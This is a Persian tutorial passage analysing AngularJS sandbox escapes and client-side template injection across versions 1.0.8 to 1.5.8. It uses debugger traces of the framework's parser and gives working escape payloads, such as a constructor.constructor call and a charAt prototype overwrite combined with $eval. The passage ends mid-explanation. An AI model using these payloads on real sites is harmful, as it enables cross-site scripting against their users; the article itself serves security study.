یک فریمورک جاوا اسکریپت سمت کاربر به نام AngularJS داریم که برای توسعه نرم افزارهای تحت وب تک صفحه ای به کار می رود. قابلیت تغییر زنده مقادیر داخل صفحه و اجرای کد های جاوا اسکریپت، احتمال وجود آسیب پذیری های سمت کاربر مثل XSS و Client-Side Template Injection را در این فریمورک زیاد می کند. برای درک چگونگی ایجاد این آسیب پذیری ها در نسخه های مختلف AngularJS، ابتدا بهتر است کمی با این فریمورک آشنا شویم.
معرفی AngularJS
طرز کار کلی این فریمورک به شکل زیر است.
در داخل صفحه html، هر جا که ویژگی ng-app
به یک تگ داده شود، تمام محتوای آن تگ توسط AngularJS تجزیه و تحلیل می شود و در صورت لزوم تغییراتی اعمال می شود. داخل تگی با ویژگی ng-app
می توان از علائم مربوط به قالب AngularJS استفاده کرد (علامت های {{}}
). هر چیزی که درون {{}}
قرار گیرد، AngularJS آن را به عنوان کد اجرایی یا نام متغیر در نظر می گیرد. توابع و دستوراتی از زبان جاوا اسکریپت با محدودیت هایی قابل اجرا هستند و متغیر ها و توابع تعریف شده در Scope برنامه قابل فراخوانی هستند. مثال از سایت W3Schools:
[html]
<!DOCTYPE html>
<html lang="en-US">
<body>
<div ng-app="">
Name : <input type="text" ng-model="name">
<h1>Hello {{name}}</h1>
</div>
</body>
</html>
[/html]
AngularJS Scope
این فریمورک پس از دیدن تگی با ویژگی ng-app
، به صورت ضمنی یک Scope برای آن تعریف می کند. هر متغیر، model، تابع یا … که درون این ng-app
تعریف شوند، در همین Scope ریخته می شوند. در نتیجه؛ اولا فضای نامی جداگانه برای هر app تعریف می شود، ثانیا دسترسی به خارج از این فضای نام محدود می شود.
AngularJS Sandbox
در نسخه های قبل از AngularJS 1.6 نوعی Sandbox طراحی شده بود که دسترسی برنامه نویس محیط جاوا اسکریپت را محدود می کرد. از آنجایی که هیچ یک از Patch های نسخه های قبلی، از دور زدن Sandbox جلوگیری نکردند، سیاست توسعه دهندگان AngularJS تغییر کرد و این Sandbox را حذف کردند. در حال حاضر تنها کاربرد Scope، ایجاد فضای نام های جداگانه است و دسترسی به سطوح بالاتر، به عنوان یک حفره امنیتی از جانب فریمورک شناخته نمی شود. پس این برنامه نویس است که باید به این نکته توجه کند و اجازه ندهد CSTI اتفاق بیفتد.
ما در این مقاله، آسیب پذیری های کشف شده از Sandbox فریمورک AngularJS را که در نسخه های قبلی وجود داشت، بررسی می کنیم. هرچند دیگر Sandboxی وجود ندارد، اما تحلیل این آسیب پذیری ها و مکانیزم های امنیتی اعمال شده برای جلوگیری از آن ها، دانش و تجربه ای ارزشمند برای کشف آسیب پذیری در فریمورک ها و سایت های دیگر به دست می دهد.
زبان JavaScript به دلیل معماری Prototype-Based، ذاتا امکان دسترسی به اشیاء دیگر زبان را فراهم می کند که از آسیب پذیری آن با عنوان Prototype Pollution یاد می شود. در Sandbox طراحی شده در AngularJS، تلاش توسعه دهندگان بر این بود که به نحوی این قابلیت زبان جاوا اسکریپت را خنثی کنند که قابلیت های مدنظرشان در فریمورک تحت تاثیر قرار نگیرد. اما با وجود پیاده سازی مکانیزم های پیچیده، موفق به این کار نشدند. نهایتا پیشگیری از این نوع آسیب پذیری ها به برنامه نویسانی که از AngularJS استفاده می کنند واگذار شد. در پایان، نکات جلوگیری از این آسیب پذیری که باید توسط برنامه نویسان AngularJS مورد توجه قرار گیرد، شرح داده شده است.
در ادامه به بررسی آسیب پذیری CSTI ،Sandbox Escape و XSS روی نسخه های مختلف AngularJS میپردازیم.
تمایز بین این آسیب پذیری ها
قبل از شروع بررسی خود آسیب پذیری ها، بهتر است تمایز بین Sandbox Escape، CSTI و XSS را شرح دهیم. البته این نکات در اصل متن تاثیری ندارد و تنها برای بهبود ادبیات تخصصی متن مطرح شده است.
در AngularJS، اگر ورودی کاربر، مستقیما (بدون هیچ گونه پاکسازی یا فیلتری) در محتوای تگی با ویژگی ng-app
استفاده شود، صفحه مورد نظر دارای آسیب پذیری CSTI است. این آسیب پذیری به خودی خود ارزشی ندارد. اگر بتوان از این آسیب پذیری به اجرای کد جاوا اسکریپت سمت کاربر و در نتیجه آن XSS رسید، ارزشمند می شود. در نتیجه فریمورک AngularJS برای جلوگیری از اجرای کد، مکانیزمی به اسم Sandbox ارائه کرد که در صورت وقوع CSTI، امکان اجرای کد مهیا نشود. اما محققان امنیت وب، هر بار موفق به فرار از سندباکس (Sandbox Escape) و در نتیجه به دست آوردن XSS شدند. در راه فرار از سندباکس از مفاهیم Prototype-Based Programming استفاده شده است که در مواردی به دلیل ضعف در پیاده سازی سندباکس، تکنیک Prototype Pollution منجر به فرار می شود.
محیط آزمایش
برای بررسی دقیق آسیب پذیری های زیر، محیط آزمایشی ای طراحی شده است که می توانید آن را از این لینک دانلود کنید. این محیط شامل Back-Endی به زبان PHP است که ورودی کاربر را گرفته و بدون فیلتر و پاکسازی کافی در صفحه وارد می کند. از قضا، محلی که ورودی بر آن تاثیر می گذارد، داخل تگی با ویژگی ng-app
است. در نتیجه این آزمایشگاه به CSTI آسیب پذیر است.
در نتیجه این آسیب پذیری، محققان امنیت سایبری توانسته اند روشی برای اجرای کد جاوا اسکریپت پیدا کنند که در ادامه به بررسی این روش ها در نسخه های مختلف AngularJS می پردازیم. قابل ذکر است که برای بررسی روند اجرای کد های جاوا اسکریپت، کد غیرفشرده AngularJS از اینجا دانلود شده است و در نقاط کلیدی کد از دستور debugger
برای ایجاد breakpoint استفاده شده است.
چگونگی تست آسیب پذیر Client Side Template Injection
ما در تمام توضیحات پایین، این تست را در اولین قدم انجام می دهیم؛ زیرا بدون این آسیب پذیری، انجام بقیه مراحل غیرممکن است. برای تست این آسیب پذیری، می توان از کد های template فریمورک مورد نظر (در اینجا AngularJS) استفاده کرد. مثلا ما در اینجا {{1+1}}
را وارد می کنیم. اگر نتیجه خروجی 2
باشد، یعنی این صفحه به CSTI آسیب پذیری است.
AngularJS 1.0.8 Sandbox Escape
ابتدا نقطه شروع کد را شناسایی می کنیم. با جستجوی رشته ng-app
(که در مورد آن توضیح دادم) به نقطه شروع می رسیم. این رشته تنها در تابع angularInit
قرار دارد. با یافتن فراخوانی های این تابع، به این اطمینان می رسیم که نقطه ابتدایی، همین تابع است؛ زیرا تنها یک فراخوانی در انتهای کد وجود دارد. پس اولین debugger
را در ابتدای این تابع قرار می دهیم و شروع می کنیم به بررسی قدم به قدم کد. در زیر بخشی از ابتدا و بخشی از انتهای تعریف این تابع را می بینید:
[javascript]
function angularInit(element, bootstrap) {
debugger;
var elements = [element],
appElement,
module,
names = [‘ng:app’, ‘ng-app’, ‘x-ng-app’, ‘data-ng-app’],
NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;
// …
// some code
// …
if (appElement) {
bootstrap(appElement, module ? [module] : []);
}
}
[/javascript]
محل فراخوانی این تابع:
[javascript]
jqLite(document).ready(function() {
angularInit(document, bootstrap);
});
[/javascript]
تا فراخوانی تابع bootstrap
، اتفاق چندان مهمی نمی افتد. پس تابع بعدی ای که باید مورد بررسی قرار گیرد، این تابع است. برای بررسی روند اجرای کد، ورودی {{1+1}}
را در فرم جستجو وارد می کنیم و روی دکمه Search کلیک می کنیم. با استفاده از دیباگر (Debugger) مرورگر، روند اجرای کد را دنبال می کنیم. در تابع bootstrap
به فراخوانی تابع doBootstrap
می رسیم. این تابع درون bootstrap
به این شکل تعریف شده است: (چند دستور debugger
برای بررسی روند اجرای برنامه اضافه کرده ام.)
[javascript]
var doBootstrap = function() {
debugger;
element = jqLite(element);
modules = modules || [];
modules.unshift([‘$provide’, function($provide) {
$provide.value(‘$rootElement’, element);
}]);
modules.unshift(‘ng’);
var injector = createInjector(modules);
injector.invoke([‘$rootScope’, ‘$rootElement’, ‘$compile’, ‘$injector’,
function(scope, element, compile, injector) {
debugger;
scope.$apply(function() {
element.data(‘$injector’, injector);
compile(element)(scope);
});
}]
);
return injector;
};
[/javascript]
با دیباگر تا خط فراخوانی تابع compile
پیش می رویم. در کنسول (Console) دیباگر کد تابع compile
را بررسی می کنیم (با compile.toString()
). اینجا محل فراخوانی این تابع است:
[javascript]
scope.$apply(function() {
element.data(‘$injector’, injector);
compile(element)(scope);
});
[/javascript]
این تابع، اینطور آغاز می شود:
[javascript]
function compile($compileNodes, transcludeFn, maxPriority) {
debugger;
if (!($compileNodes instanceof jqLite)) {
// jquery always rewraps, whereas we need to preserve the original selector so that we can modify it.
$compileNodes = jqLite($compileNodes);
}
[/javascript]
با جستجوی این کد در کل فایل، به تابع مورد نظر می رسیم. این تابع با نام compile
در فایل تعریف شده است. از اینجا به بعد برای درک دقیق چگونگی طرز کار کامپایلر AngularJS نیاز به تحلیل های دقیق و طولانی است که از موضوع این مطلب خارج است. در نتیجه خلاصه ای از نتیجه بررسی عملکرد آن را در زیر میبینیم (توضیحات بیشتر در مورد کامپایلر AngularJS در اینجا).
کامپایلر AngularJS
تابع compile
نقطه ابتدایی بررسی ویژگی های شروع شونده با ng-
و کد های درون {{}}
است که تمام Node های HTML را بررسی می کند و به دنبال کد های AngularJS می گردد. اگر کد مربوط به AngularJS را پیدا کند، آن را به تابع parser
برای تجزیه و تحلیل می فرستد. در اولین مراحل این تابع، تابع دیگری با نام lex
فراخوانی می شود. خروجی این تابع آرایه ای از توکن (Token) هاست که با روش Lexical Analysis به دست می آید. این تابع به تجزیه کردن اجزای کد می پردازد و کد را بر اساس قواعد زبان جاوا اسکریپت Tokenize می کند. این کد تابع lex
است، بدون توابع داخلی تعریف شده در آن (کد کامل را از فایل محیط آزمایشگاهی مشاهده کنید):
[javascript]
function lex(text, csp){
debugger;
var tokens = [],
token,
index = 0,
json = [],
ch,
lastCh = ‘:’; // can start regexp
while (index < text.length) {
ch = text.charAt(index);
if (is(‘"\”)) {
readString(ch);
} else if (isNumber(ch) || is(‘.’) && isNumber(peek())) {
readNumber();
} else if (isIdent(ch)) {
readIdent();
// identifiers can only be if the preceding char was a { or ,
if (was(‘{,’) && json[0]=='{‘ &&
(token=tokens[tokens.length-1])) {
token.json = token.text.indexOf(‘.’) == -1;
}
} else if (is(‘(){}[].,;:’)) {
tokens.push({
index:index,
text:ch,
json:(was(‘:[,’) && is(‘{[‘)) || is(‘}]:,’)
});
if (is(‘{[‘)) json.unshift(ch);
if (is(‘}]’)) json.shift();
index++;
} else if (isWhitespace(ch)) {
index++;
continue;
} else {
var ch2 = ch + peek(),
fn = OPERATORS[ch],
fn2 = OPERATORS[ch2];
if (fn2) {
tokens.push({index:index, text:ch2, fn:fn2});
index += 2;
} else if (fn) {
tokens.push({index:index, text:ch, fn:fn, json: was(‘[,:’) && is(‘+-‘)});
index += 1;
} else {
throwError("Unexpected next character ", index, index+1);
}
}
lastCh = ch;
}
debugger;
return tokens;
[/javascript]
مثلا در کد زیر که بخشی از lex
است، در صورتی که شرط تابع isNumber
برقرار باشد (یعنی تکه کد مورد بررسی یک عدد باشد)، تابع readNumber
فراخوانی می شود که توکن عدد را به لیست توکن ها اضافه می کند (محتوای تابع readNumber
را می توانید خودتان بررسی کنید):
[javascript]
else if (isNumber(ch) || is(‘.’) && isNumber(peek())) {
readNumber();
[/javascript]
در پایان تابع readNumber
، یک توکن به این شکل به لیست توکن ها اضافه می شود:
[javascript]
tokens.push({index:start, text:number, json:true,
fn:function() {return number;}});
[/javascript]
هر توکنی که اضافه می شود چنین ساختاری دارد:
[javascript]
{
index: index,
text: ch,
fn: fn
}
[/javascript]
index
: محل شروع رشته مربوط به توکن را در رشته اصلی مشخص می کند.ch
: رشته توکن را ذخیره می کند.fn
: تابعgetter
که وظیفه گرفتن مقدار متناظر کد، عدد، رشته یا … را در کد AngularJS دارد.
قسمتی که برای ما جذابیت دارد، همان fn
است. برای درک بهتر این تابع، ابتدا مثال حالتی را بررسی می کنیم که توکن موردنظر یک عدد است (isNumber
مقدار true
بر می گرداند). به انتهای تابع readNumber
دقت کنید:
[javascript]
tokens.push({index:start, text:number, json:true,
fn:function() {return number;}});
[/javascript]
در این مثال، تابع fn
فقط number
را بر می گرداند که در اصل مقدار parseInt
شده همان عدد است. اما در مورد متغیر ها، توابع و دیگر اشیاء جاوا اسکریپت که مقادیر غیرثابت دارند، قضیه متفاوت است و کد fn
به این سادگی نیست.
تابع lex
با استفاده از تابع isIdnet
، متغیرها، توابع و دیگر اشیاء جاوا اسکریپت را شناسایی می کند و با readIdent
، توکن مربوط به آن ها را می سازد که شامل تابع نسبتا پیچیده fn
برای گرفتن مقدار آن هاست. پس باید به بررسی تابع readIdent
بپردازیم. کد زیر از این تابع، fn
را مقداردهی می کند:
[javascript]
var getter = getterFn(ident, csp);
token.fn = extend(function(self, locals) {
return (getter(self, locals));
}, {
assign: function(self, value) {
return setter(self, ident, value);
}
});
[/javascript]
می بینیم که یک تابع دیگر به اسم getterFn
از روی رشته ident
که می تواند نام هر متغیر، تابع یا شیء جاوا اسکریپت باشد، مقدار getter
را می سازد. با کمک دیباگر می توانیم به این نتیجه برسیم که getter
همان چیزی است که نهایتا در fn
فراخوانی می شود.
هر چند تحلیل ایستا تابع getterFn
خالی از لطف نیست، اما ما به تحلیل پویای آن بسنده می کنیم. پس چند مقدار را در فرم جستجو وارد می کنیم و نتیجه این تابع را می بینیم. برای این کار کافی است بعد از خط فراخوانی getterFn
یک breakpoint بگذاریم و پس از وارد کردن ورودی و برخورد به breakpoint مقدار getter.toString()
را چک کنیم تا کد تولید شده برای تابع getter
را ببینیم.
تحلیل پویا
این بار مقدار {{objectA.propertyA}}
را وارد می کنیم و کد زیر تولید می شود: (می دانیم که s
همان scope و k
همان locals است)
[javascript]
var l, fn, p;
if(s === null || s === undefined) return s;
l=s;
s=((k&&k.hasOwnProperty("objectA"))?k:s)["objectA"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
if(s === null || s === undefined) return s;
l=s;
s=s["propertyA"];
if (s && s.then) {
if (!("$$v" in s)) {
p=s;
p.$$v = undefined;
p.then(function(v) {p.$$v=v;});
}
s=s.$$v
}
return s;
[/javascript]
مشخص است که به ازای هر نقطه (.
)، یک عمل dereference انجام می شود و هر بار برای به دست آوردن property از شیء قبلی استفاده می شود. اولین شیئی که property از آن استخراج می شود k && k.hasOwnProperty("objectA") ? k : s
است. با توجه به این که k
متغیر locals است، و s
همان scope، می توان دریافت که این تکه کد ابتدا سعی می کند شیء مورد نظر را در متغیر های locals پیدا کند و در صورت پیدا نکردن به سراغ scope می رود. برای بررسی دقیق تر این موضوع و روند اجرای کد تولید شده توسط getterFn
بهتر است درون کد تولید شده از دستور debugger
استفاده کنیم تا هر وقت AngularJS خواست آن را اجرا کند، بتوانیم مقادیر موجود مثل s
، k
و … را دنبال کنیم. اولین قسمت کد تولید شده توسط تابع getterFn
به شکل زیر نوشته شده است، که ما قبل از var
کد debugger;
را اضافه می کنیم.
[javascript]
var code = ‘debugger;var l, fn, p;\n’;
forEach(pathKeys, function(key, index) {
code += ‘if(s === null || s === undefined) return s;\n’ +
‘l=s;\n’ +
‘s=’+ (index
// we simply dereference ‘s’ on any .dot notation
? ‘s’
// but if we are first then we check locals first, and if so read it first
: ‘((k&&k.hasOwnProperty("’ key ‘"))?k:s)’) ‘["’ key ‘"]’ ‘;\n’
‘if (s && s.then) {\n’ +
‘ if (!("$$v" in s)) {\n’
‘ p=s;\n’ +
‘ p.$$v = undefined;\n’ +
‘ p.then(function(v) {p.$$v=v;});\n’ +
‘}\n’ +
‘ s=s.$$v\n’ +
‘}\n’;
});
code += ‘return s;’;
[/javascript]
پس از بارگذاری دوباره صفحه به breakpoint میرسیم. می توانید مقادیر s
و k
را در تصویر زیر مشاهده کنید. همان طور که میبینید، k
برابر undefined
است. پس برنامه از s
شیء objectA
را میگیرد.
حال فرض کنید ما به جای تلاش برای گرفتن یک شیء معمول در scope یا locals برنامه، property خاص __proto__
یا constructor
را بگیریم که در زبان جاوا اسکریپت معنی مشخصی دارند. (برای به دست آوردن اطلاعات بیشتر در این زمینه می توانید مباحث مربوط به Javascript Prototype Pollution را مطالعه کنید.)
با ادامه دادن روند دسترسی به constructor
می توانیم به تابع Function
در جاوا اسکریپت برسیم. این تابع به ما امکان اجرای کد های جاوا اسکریپت را به طور مستقیم می دهد. پس چون فیلتری روی نام متغیر ها، توابع و دیگر اشیاء جاوا اسکریپت که قرار است از scope برنامه خوانده شوند، وجود ندارد؛ ما می توانیم در ساختار اشیاء Prototype-Based زبان جاوا اسکریپت به تابع Function
برسیم. تابع Function
مسئولیت تعریف توابع در زبان جاوا اسکریپت را بر عهده دارد که به ما اجازه تعریف تابعی جدید را می دهد. برای تعریف تابع با استفاده از تابع Function
باید کد جاوا اسکریپت را به صورت یک String به آرگومان آن پاس داد. در نتیجه ورودی ای که منجر به اجرای کد جاوا اسکریپت می شود {{ constructor.constructor("alert(1)")() }}
است که می توان به جای alert
هر کد دیگری از زبان جاوا اسکریپت که لازم است را وارد کرد و ادامه ماجرا … 😈
AngularJS 1.3.20 Sandbox Escape
با بررسی توابع مهمی که در قسمت قبل پیدا کردیم، متوجه می شویم که تا حد زیادی ساختار کد، همان چیزی است که قبلا بود. پس مستقیم به سراغ قسمت تولید کد، یعنی تابع getterFn
می رویم. مشابه دفعه قبل، در ابتدای کد تولید شده از دستور debugger
استفاده می کنیم.
[javascript]
var code = ‘debugger;’;
if (expensiveChecks) {
code += ‘s = eso(s, fe);\nl = eso(l, fe);\n’;
}
var needsEnsureSafeObject = expensiveChecks;
forEach(pathKeys, function(key, index) {
ensureSafeMemberName(key, fullExp);
var lookupJs = (index
// we simply dereference ‘s’ on any .dot notation
? ‘s’
// but if we are first then we check locals first, and if so read it first
: ‘((l&&l.hasOwnProperty("’ + key + ‘"))?l:s)’) + ‘.’ + key;
if (expensiveChecks || isPossiblyDangerousMemberName(key)) {
lookupJs = ‘eso(‘ + lookupJs + ‘, fe)’;
needsEnsureSafeObject = true;
}
code += ‘if(s == null) return undefined;\n’ +
‘s=’ + lookupJs + ‘;\n’;
});
code += ‘return s;’;
[/javascript]
حال که می توانیم کد تولید شده توسط کامپیالر AngularJS را بررسی کنیم، نتایج ورودی های مختلف را بررسی می کنیم. با ورودی {{unk9vvn}}
نتیجه زیر به دست می آید:
[javascript]
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("unk9vvn"))?l:s).unk9vvn;
return s;
[/javascript]
مشابه دفعه قبلی s
همان scope و l
همان locals است. تا اینجا به نظر هیچ تغییری به غیر از تغییر اسم متغیر l
وجود ندارد! 🤔 این بار ورودی {{constructor}}
را امتحان می کنیم:
[javascript]
if(s == null) return undefined;
s=eso(((l&&l.hasOwnProperty("constructor"))?l:s).constructor, fe);
return s;
[/javascript]
به نظر تغییرات قابل توجهی اتفاق افتاد! تابع eso
و متغیر fe
موارد جدیدی هستند که باید بررسی شوند. با کنسول دیباگر مقادیر را بررسی می کنیم. fe
چیزی نیست جز رشته "constructor"
، که اینجا، همان ورودی ماست. اما eso
تابعی است که در کد فریمورک با نام تعریف شده است. با نگاهی به این تابع متوجه می شویم که بخش اصلی ای که قرار است جلوی دسترسی به اشیاء خطرناک مثل
constructor
و window
را بگیرد، همین تابع است.
[javascript]
function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast and works across iframes and other contexts
if (obj) {
if (obj.constructor === obj) {
throw $parseMinErr(‘isecfn’,
‘Referencing Function in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// isWindow(obj)
obj.window === obj) {
throw $parseMinErr(‘isecwindow’,
‘Referencing the Window in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// isElement(obj)
obj.children && (obj.nodeName || (obj.prop && obj.attr && obj.find))) {
throw $parseMinErr(‘isecdom’,
‘Referencing DOM nodes in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
} else if (// block Object so that we can’t get hold of dangerous Object.* methods
obj === Object) {
throw $parseMinErr(‘isecobj’,
‘Referencing Object in Angular expressions is disallowed! Expression: {0}’,
fullExpression);
}
}
return obj;
}
[/javascript]
وقتی با استفاده از دیباگر و ورودی قبلی این تابع را دنبال کردم، متوجه شدم ورودی {{constructor}}
به عنوان ورودی خطرناک شناسایی نمی شود. پس بهتر است ورودی موثر در نسخه قبل، یعنی {{constructor.constructor("alert(12)")()}}
را نیز بررسی کنیم. ورودی آخر باعث true
شدن شرط obj.constructor === obj
می شود. این یعنی دسترسی به constructor
به طور کامل بسته نشده است و فقط نمی توان به شیء Function
دسترسی پیدا کرد (در ورودی آخر با دوباره استفاده از constructor
به شیء Function می رسیم که در این نسخه چنین امکانی از ما سلب شده است).
می دانیم که
constructor
شیءFunction
در زبان جاوا اسکریپت، خودFunction
است.
پس ما می توانیم به کمک constructor
به اشیاء دیگری مثل Array
و String
دسترسی پیدا کنیم. مثلا با وارد کرد {{'a'.constructor}}
به String
زبان جاوا اسکریپت می رسیم که به ما کمک می کند ویژگی prototype
را اصلاح کنیم و ساختار String
را به شکلی که می خواهیم تغییر دهیم. اما این چه کمکی به ما می کند؟
قبل از این در مورد بخشی به اسم lexer صحبت کردیم که در اولین مرحله کامپایل کد، با کمک روش Lexical Analysis، می تواند بخش های مختلف کد را به صورت توکن-توکن شده تجزیه و تحلیل کند. در این نسخه از AngularJS به دلیل تغییر ساختار کد تابع مربوط به lexer کمی تغییر کرده است. اما کلیت آن همان چیزی است که بود. این تابع الان با نام lex
در شیئی به نام Lexer
تعریف شده است که بخشی از کد آن را در اینجا می بینیم:
[javascript]
while (this.index < this.text.length) {
var ch = this.text.charAt(this.index);
if (ch === ‘"’ || ch === "’") {
this.readString(ch);
} else if (this.isNumber(ch) || ch === ‘.’ && this.isNumber(this.peek())) {
this.readNumber();
} else if (this.isIdent(ch)) {
this.readIdent();
}
[/javascript]
چنین شرط هایی، به صورت ادامه دار، در این تابع تعریف شده اند که وظیفه شناسایی توکن های مختلف کد را بر عهده دارند. اما همان طور که مشاهده می کنید، رشته (String
) ورودی با کمک تابع charAt
، به صورت کاراکتر به کاراکتر، بررسی می شود. charAt
تابعی است که در prototype
شیء String
تعریف شده است. همان طور که توضیح دادیم، ما به این بخش دسترسی داریم؛ یعنی می توانیم تابع charAt
را دستکاری کنیم. و این نکته به ما کمک می کند تابع lex
را به اشتباه بیندازیم. این اشتباه باعث می شود توکن های کد به درستی شناسایی نشوند و بخشی از کد که شامل کاراکتر های خطرناکی مثل .
، ()
و … است به طور مستقیم در کد تولید شده نهایی مورد استفاده قرار گیرد و این یعنی اجرای مستقیم دستور های زبان جاوا اسکریپت که هدف نهایی ماست.
با این اوصاف، charAt
را به concat
تغییر می دهیم. کافی است مقدار {{'a'.constructor.prototype.charAt = 'b'.concat}}
را به عنوان ورودی، وارد کنید و پس از بارگزاری کامل صفحه در کنسول جاوا اسکریپت، از تابع charAt
یک نمونه رشته استفاده کنید. مثلا:
می بینید که توانستیم تابع مورد نظر را آلوده کنیم. اما برای سوء استفاده این آلودگی باید یک بار دیگر کامپایلر AngularJS را صدا بزنیم و ورودی مخرب خود را اجرا کنیم. برای این کار می توانیم از تابع $eval
استفاده کنیم. این تابع برای AngularJS مثل eval
برای جاوا اسکریپت است و کد های مربوط به AngularJS را اجرا می کند که باعث فراخوانی کامپایلر آن می شود. در نتیجه ورودی نهایی خود را که {{'a'.constructor.prototype.charAt = 'b'.concat;$eval('x=alert(1)');}}
باشد، وارد می کنیم. کافی است نتیجه این ورودی را ببینید. کد ما اجرا شده و alert نمایش داده می شود.
اما چرا x=alert(1)
اجرا می شود؟ برای پاسخ به این سوال، breakpoint هایی که در تابع getterFn
وارد کرده بودیم را دوباره فعال می کنیم تا بتوانیم کد تولید شده را مشاهده کنیم. دوبار از این تابع استفاده می شود. نتیجه بار اول برای ما چندان مهم نیست. اما نتیجه بار دوم همان چیزی است که علت اجرای کد قبلی را توضیح می دهد:
[javascript]
if(s == null) return undefined;
s=((l&&l.hasOwnProperty("x=alert(1)"))?l:s).x=alert(1);
return s;
[/javascript]
می بینید که تمام ورودی تابع $eval
به عنوان ویژگی ای از scope شناسایی شده است و برنامه تمام رشته x=alert(1)
را پس از نقطه (.
) قرار داده است. این یعنی ورودی ما بدون هیچ گونه فیلتری توسط موتور جاوا اسکریپت اجرا می شود.
نکته: بخش x=
را تنها به این دلیل وارد کردیم که syntax صحیح زبان جاوا اسکریپت حفظ شود.
AngularJS 1.5.8 Sandbox Escape
با توجه به تجربه ای که از دو نسخه قبلی به دست آورده ایم، می دانیم که کد ایجاد شده توسط کامپایلر نهایتا توسط شیء Function
زبان جاوا اسکریپت به کدی قابل اجرا تبدیل می شود. پس با جستجوی new Function
می توانیم به راحتی به قسمتی از کد فریمورک برسیم که نتیجه کامپایلر AngularJS در آنجا قرار دارد.
[javascript]
var fn = (new Function(‘$filter’,
‘ensureSafeMemberName’,
‘ensureSafeObject’,
‘ensureSafeFunction’,
‘getStringValue’,
‘ensureSafeAssignContext’,
‘ifDefined’,
‘plus’,
‘text’,
fnString))(
this.$filter,
ensureSafeMemberName,
ensureSafeObject,
ensureSafeFunction,
getStringValue,
ensureSafeAssignContext,
ifDefined,
plusFn,
expression);
debugger;
[/javascript]
قسمت مورد نظر ما در prototype
شیء ASTCompiler
، درون تابعی به اسم compile
، استفاده شده است:
[javascript]
ASTCompiler.prototype = {
compile: function(expression, expensiveChecks) {
[/javascript]
درون این تابع، بعد از تعریف fn
، یک دستور debugger
قرار می دهیم و کد های ایجاد شده توسط کامپایلر جدید، با ورودی های مختلف را بررسی می کنیم. ابتدا با ورودی {{unk9vvn}}
شروع می کنیم و نتیجه زیر به دست می آید (کد زیر مرتب شده کد اصلی است):
[javascript]
function(s, l, a, i) {
var v5, v6 = l && (‘unk9vvn’ in l);
if(!(v6)) {
if(s) {
v5 = s.unk9vvn;
}
} else {
v5 = l.unk9vvn;
}
return v5;
}
[/javascript]
به نظر هیچ مکانیزم امنیتی ای فعال نشده است. این بار از ورودی نسبتا خطرناک {{constructor}}
استفاده می کنیم:
[javascript]
function(s, l, a, i) {
var v5, v6 = l && (‘constructor’ in l);
if(!(v6)) {
if(s) {
v5 = s.constructor;
}
} else {
v5 = l.constructor;
}
ensureSafeObject(v5, text);
return v5;
}
[/javascript]
تا اینجا فرقی، جز فرق ظاهری، با قسمت قبل وجود ندارد. دقیقا مشابه نسخه قبلی ابتدا سعی می شود که از scope مقدار مورد نظر فراخوانی شود. اگر نبود از locals و از آنجایی که نام constructor
، خطرناک است از تابع ensureSafeObject
استفاده می شود. از آنجایی که تابع ensureSafeObject
هم تغییری نکرده است، شاید بتوانیم از روش قبلی استفاده کنیم. برای این کار ابتدا از قسمت اول payload، یعنی {{'a'.constructor.prototype='b'.concat}}
، استفاده می کنیم. در نتیجه این کار کد زیر ایجاد می شود:
[javascript]
‘use strict’;
var fn = function (s, l, a, i) {
var v0,
v1,
v2,
v3,
v4;
v3 = ‘a’;
if (v3 != null) {
ensureSafeAssignContext(v3, text);
if (!(v3.constructor)) {
v3.constructor = {
};
}
v1 = ensureSafeObject(v3.constructor, text);
} else {
v1 = undefined;
}
if (v1 != null) {
v2 = v1.prototype;
} else {
v2 = undefined;
}
if (v1 != null) {
v4 = ‘b’;
if (v4 != null) {
v0 = v4.concat;
} else {
v0 = undefined;
}
ensureSafeObject(v1.prototype, text);
ensureSafeAssignContext(v1, text);
}
return v1.prototype = v0;
};
return fn;
[/javascript]
مشاهده می کنید که بر خلاف نسخه قبلی، عمل برابر قرار دادن هم در همین کد انجام شده است؛ در صورتی که در نسخه قبلی getter و setter متفاوت بودند و ساختار پیاده سازی آن ها به شکلی دیگر بود. تفاوت خاص این نسخه در تابع ensureSafeAssignContext
است. یعنی برای انجام تساوی، شرط هایی در حالت run-time اعمال می شود. کد این تابع به شکل زیر تعریف شده است:
[javascript]
function ensureSafeAssignContext(obj, fullExpression) {
if (obj) {
if (obj === (0).constructor || obj === (false).constructor || obj === ”.constructor ||
obj === {}.constructor || obj === [].constructor || obj === Function.constructor) {
throw $parseMinErr(‘isecaf’,
‘Assigning to a constructor is disallowed! Expression: {0}’, fullExpression);
}
}
}
[/javascript]
می بینید که اگر شیء مورد استفاده، برابر constructor
هر یک از مقادیر نوع Boolean، Integer، String، Object، Array، Function باشد، این تابع یک پیغام خطا نمایش می دهد و از ادامه اجرای برنامه جلوگیری می کند. پس یعنی، آخرین ورودی ای که وارد کردیم، به دام این تابع میفتد.
اولین چیزی که به ذهن می رسد این است که، آیا بدون قرار دادن 'a'.constructor.prototype
برابر مقداری دیگر هم چنین مشکلی پیش می آید (منطقا نباید مشکلی پیش بیاید). بعد از تست کردن این موضوع، این نکته برای ما قطعی می شود.
حال با توجه به ویژگی این نسخه که امکان مقداردهی متغیر جدید را میدهد، می توانیم مقدار بالا را درون متغیری به اسم x ذخیره کنیم و از راه آن تلاش کنیم توابع prototype
را آلوده کنیم. اما آیا همچنان شرایط مشابه قبلی وجود دارد که بتوانیم با آلوده کردن charAt
قسمت lexer را به اشتباه بیندازیم؟ با بررسی کد، می بینیم که کد تابع lex
هیچ تغییری نکرده است. برای امتحان موفقیت یا عدم موفقیت این موضوع ورودی {{x='a'.constructor.prototype;x.charAt='b'.concat}}
را وارد می کنیم و پس از بارگزاری کامل صفحه، تابع charAt
یک رشته را فراخوانی می کنیم. نتیجه ای مشابه دفعه قبل به دست می آید که نشان می دهد ما به هدف خود رسیده ایم.
حال کافی است از تابع $eval
